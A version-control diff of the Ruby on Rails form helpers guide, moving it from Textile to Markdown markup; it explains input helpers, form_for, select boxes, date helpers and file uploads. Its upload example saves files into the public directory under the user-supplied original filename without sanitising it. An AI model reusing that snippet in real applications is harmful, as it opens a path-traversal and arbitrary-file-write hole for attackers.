Helpers of Interest Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: -<erb> +```erb <%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> <%= password_field_tag(:password) %> <%= hidden_field_tag(:parent_id, "5") %> @@ -167,11 +169,11 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> -</erb> +``` Output: -<html> +```html <textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea> <input id="password" name="password" type="password" /> <input id="parent_id" name="parent_id" type="hidden" value="5" /> @@ -186,116 +188,117 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> -</html> +``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. -TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging. +TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). -h3. Dealing with Model Objects +Dealing with Model Objects +-------------------------- -h4. Model Object Helpers +### Model Object Helpers -A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+. +A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`. -For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing: +For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: -<erb> +```erb <%= text_field(:person, :name) %> -</erb> +``` will produce output similar to -<erb> +```erb <input id="person_name" name="person[name]" type="text" value="Henry"/> -</erb> +``` -Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy. +Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. -WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object. +WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide. +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide. -h4. Binding a Form to an Object +### Binding a Form to an Object -While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does. +While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does. -Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+: +Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`: -<ruby> +```ruby def new @article = Article.new end -</ruby> +``` -The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this: +The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this: -<erb> +```erb <%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %> <%= f.text_field :title %> <%= f.text_area :body, :size => "60x12" %> <%= f.submit "Create" %> <% end %> -</erb> +``` There are a few things to note here: -# +@article+ is the actual object being edited. -# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. -# The +form_for+ method yields a *form builder* object (the +f+ variable). -# Methods to create form controls are called *on* the form builder object +f+ +* `@article` is the actual object being edited. +* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. +* The `form_for` method yields a **form builder** object (the `f` variable). +* Methods to create form controls are called **on** the form builder object `f` The resulting HTML is: -<html> +```html <form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form"> <input id="article_title" name="article[title]" type="text" /> <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea> <input name="commit" type="submit" value="Create" /> </form> -</html> +``` -The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section. +The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section. The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. -You can create a similar binding without actually creating +<form>+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: +You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: -<erb> +```erb <%= form_for @person, :url => { :action => "create" } do |person_form| %> <%= person_form.text_field :name %> <%= fields_for @person.contact_detail do |contact_details_form| %> <%= contact_details_form.text_field :phone_number %> <% end %> <% end %> -</erb> +``` which produces the following output: -<html> +```html <form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post"> <input id="person_name" name="person[name]" type="text" /> <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" /> </form> -</html> +``` -The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally). +The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally). -h4. Relying on Record Identification +### Relying on Record Identification -The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*: +The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it **a resource**: -<ruby> +```ruby resources :articles -</ruby> +``` -TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources. +TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources. -When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest: +When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest: -<ruby> +```ruby ## Creating a new article # long-style: form_for(@article, :url => articles_path) @@ -307,44 +310,44 @@ form_for(@article) form_for(@article, :url => article_path(@article), :html => { :method => "patch" }) # short-style: form_for(@article) -</ruby> +``` -Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object. +Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object. -Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide. +Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide. -WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly. +WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly. -h5. Dealing with Namespaces +#### Dealing with Namespaces -If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then +If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then -<ruby> +```ruby form_for [:admin, @article] -</ruby> +``` -will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar: +will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: -<ruby> +```ruby form_for [:admin, :management, @article] -</ruby> +``` -For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html. +For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html). -h4. How do forms with PATCH, PUT, or DELETE methods work? +### How do forms with PATCH, PUT, or DELETE methods work? The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. -Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method: +Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method: -<ruby> +```ruby form_tag(search_path, :method => "patch") -</ruby> +``` output: -<html> +```html <form accept-charset="UTF-8" action="/search" method="post"> <div style="margin:0;padding:0"> <input name="_method" type="hidden" value="patch" /> @@ -352,38 +355,39 @@ output: <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> </div> ... -</html> +``` -When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example). +When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example). -h3. Making Select Boxes with Ease +Making Select Boxes with Ease +----------------------------- -Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. +Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. Here is what the markup might look like: -<html> +```html <select name="city_id" id="city_id"> <option value="1">Lisbon</option> <option value="2">Madrid</option> ... <option value="12">Berlin</option> </select> -</html> +``` Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. -h4. The Select and Option Tags +### The Select and Option Tags -The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string: +The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string: -<erb> +```erb <%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %> -</erb> +``` -This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper: +This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper: -<erb> +```html+erb <%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> output: @@ -391,19 +395,19 @@ output: <option value="1">Lisbon</option> <option value="2">Madrid</option> ... -</erb> +``` -The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. +The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. -Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup: +Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: -<erb> +```erb <%= select_tag(:city_id, options_for_select(...)) %> -</erb> +``` -+options_for_select+ allows you to pre-select an option by passing its value. +`options_for_select` allows you to pre-select an option by passing its value. -<erb> +```html+erb <%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %> output: @@ -411,17 +415,17 @@ output: <option value="1">Lisbon</option> <option value="2" selected="selected">Madrid</option> ... -</erb> +``` -Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option. +Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. -TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings. +TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. -WARNING: when +:inlude_blank+ or +:prompt:+ are not present, +:include_blank+ is forced true if the select attribute +required+ is true, display +size+ is one and +multiple+ is not true. +WARNING: when `:inlude_blank` or `:prompt:` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. You can add arbitrary attributes to the options using hashes: -<erb> +```html+erb <%= options_for_select([['Lisbon', 1, :'data-size' => '2.8 million'], ['Madrid', 2, :'data-size' => '3.2 million']], 2) %> output: @@ -429,156 +433,158 @@ output: <option value="1" data-size="2.8 million">Lisbon</option> <option value="2" selected="selected" data-size="3.2 million">Madrid</option> ... -</erb> +``` -h4. Select Boxes for Dealing with Models +### Select Boxes for Dealing with Models -In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+: +In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`: -<ruby> +```ruby # controller: @person = Person.new(:city_id => 2) -</ruby> +``` -<erb> +```erb # view: <%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> -</erb> +``` -Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute. +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute. -As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be: +As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: -<erb> +```erb # select on a form builder <%= f.select(:city_id, ...) %> -</erb> +``` -WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment. +WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the [Ruby On Rails Security Guide](security.html#mass-assignment). -h4. Option Tags from a Collection of Arbitrary Objects +### Option Tags from a Collection of Arbitrary Objects -Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: +Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: -<erb> +```erb <% cities_array = City.all.map { |city| [city.name, city.id] } %> <%= options_for_select(cities_array) %> -</erb> +``` -This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively: +This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively: -<erb> +```erb <%= options_from_collection_for_select(City.all, :id, :name) %> -</erb> +``` -As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+. +As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`. -<erb> +```erb <%= collection_select(:person, :city_id, City.all, :id, :name) %> -</erb> +``` -To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+. +To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`. -NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method. +NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method. -h4. Time Zone and Country Select +### Time Zone and Country Select -To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this: +To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this: -<erb> +```erb <%= time_zone_select(:person, :time_zone) %> -</erb> +``` -There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. +There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. -Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails). +Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/chrislerum/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails). -h3. Using Date and Time Form Helpers +Using Date and Time Form Helpers +-------------------------------- You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects: -# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time. -# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers. +* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time. +* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers. Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). -h4. Barebones Helpers +### Barebones Helpers -The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example +The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example -<erb> +```erb <%= select_date Date.today, :prefix => :start_date %> -</erb> +``` outputs (with actual option values omitted for brevity) -<html> +```html <select id="start_date_year" name="start_date[year]"> ... </select> <select id="start_date_month" name="start_date[month]"> ... </select> <select id="start_date_day" name="start_date[day]"> ... </select> -</html> +``` -The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example +The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example -<ruby> +```ruby Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) -</ruby> +``` -The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+. +The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`. -h4(#select-model-object-helpers). Model Object Helpers +### Model Object Helpers -+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute. +`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: -<erb> +```erb <%= date_select :person, :birth_date %> -</erb> +``` outputs (with actual option values omitted for brevity) -<html> +```html <select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select> <select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select> <select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select> -</html> +``` -which results in a +params+ hash like +which results in a `params` hash like -<ruby> +```ruby {:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} -</ruby> +``` -When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+. +When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. -h4. Common Options +### Common Options -Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html. +Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). -As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date. +As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date. NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. -h4. Individual Components +### Individual Components -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example -<erb> +```erb <%= select_year(2009) %> <%= select_year(Time.now) %> -</erb> +``` -will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+. +will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`. -h3. Uploading Files +Uploading Files +--------------- -A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example. +A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example. The following two forms both upload a file. -<erb> +```erb <%= form_tag({:action => :upload}, :multipart => true) do %> <%= file_field_tag 'picture' %> <% end %> @@ -586,146 +592,148 @@ The following two forms both upload a file. <%= form_for @person do |f| %> <%= f.file_field :picture %> <% end %> -</erb> +``` -NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly. +NOTE: Since Rails 3.1, forms rendered using `form_for` have their encoding set to `multipart/form-data` automatically once a `file_field` is used inside the block. Previous versions required you to set this explicitly. -Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+. +Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`. -h4. What Gets Uploaded +### What Gets Uploaded -The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example). +The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). -<ruby> +```ruby def upload uploaded_io = params[:person][:picture] File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| file.write(uploaded_io.read) end end -</ruby> +``` -Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip. +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip). NOTE: If the user has not selected a file the corresponding parameter will be an empty string. -h4. Dealing with Ajax +### Dealing with Ajax -Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. +Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `:remote => true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript 